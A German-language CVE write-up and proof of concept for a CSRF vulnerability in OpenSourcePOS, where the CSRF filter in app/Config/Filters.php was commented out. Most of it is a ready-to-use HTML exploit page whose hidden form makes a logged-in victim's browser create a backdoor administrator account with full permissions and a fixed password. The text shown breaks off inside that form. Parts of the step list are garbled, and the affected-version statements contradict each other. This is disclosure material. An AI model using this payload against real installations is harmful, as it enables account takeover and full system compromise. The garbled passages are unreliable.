
PoC & Write-up für CVE-2025-68434: Kritische CSRF in OpenSourcePOS. Nutzt eine deaktivierte Filterkonfiguration aus, um nicht authentifizierten Angreifern zu ermöglichen, stillschweigend betrügerische Administrator-Konten zu erstellen, was zu einer vollständigen Systemübernahme führt. Bestätigt für Versionen < 3.4.0.
| Metadaten | Details |
|---|---|
| CVE-ID | CVE-2025-68434 |
| Schweregrad | Kritisch (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Schwachstellentyp | Cross-Site Request Forgery (CWE-352) |
| Betroffene Versionen | OpenSourcePOS v3.4.0, v3.4.1 |
| Patch-Version | v3.4.2 |
| Verwundbare Komponente | app/Config/Filters.php (Globale Sicherheitsfilter) |
| Melder | Aditya Singh (Nixon-H) |
Eine kritische Cross-Site-Request-Forgery (CSRF)-Schwachstelle wurde in der zentralen Sicherheitskonfiguration von OpenSourcePOS entdeckt. Der globale CSRF-Schutzmechanismus der Anwendung wurde aufgrund eines temporären Entwicklungs-"TODO", das nie behoben wurde, explizit in der Datei app/Config/Filters.php deaktiviert.
Diese Fehlkonfiguration ermöglichte es der Anwendung, zustandsändernde HTTP-Anfragen (POST) anzunehmen, ohne ein gültiges Anti-Forgery-Token zu überprüfen. Ein nicht authentifizierter, entfernter Angreifer konnte dies ausnutzen, indem er einen eingeloggten Administrator dazu brachte, eine bösartige Seite zu besuchen. Die Angreiferseite würde dann stillschweigend den Browser des Opfers zwingen, administrative Aktionen auszuführen – insbesondere die Erstellung eines neuen "Hintertür"-Administratorkontos mit vollständigen Berechtigungen –, was zu einer vollständigen Systemübernahme führt.
Die Schwachstelle befand sich in der Konfiguration der globalen Filter (app/Config/Filters.php). In CodeIgniter 4 bestimmt das $globals-Array, welche Filter bei jeder Anfrage ausgeführt werden.
In den betroffenen Versionen war der csrf-Filter in der before-Ausführungsliste auskommentiert, wodurch der CSRF-Schutz für die gesamte Anwendung deaktiviert wurde.
Verwundbarer Code (app/Config/Filters.php):
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
Da diese Zeile auskommentiert war, wurde die Middleware, die für die Überprüfung von csrf_token_name zuständig ist, nie ausgeführt. Die Anwendung akzeptierte jede POST-Anfrage von jeder Quelle und verließ sich zur Authentifizierung ausschließlich auf das Session-Cookie (ospos_session).
csrf_exploit.html auf einem externen Server.valid_12345) wird sofort erstellt.POC/csrf_exploit.html)Dies ist die genaue Nutzlast, die verwendet wurde, um einen nicht autorisierten Administrator mit vollen Berechtigungen zu erstellen:
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">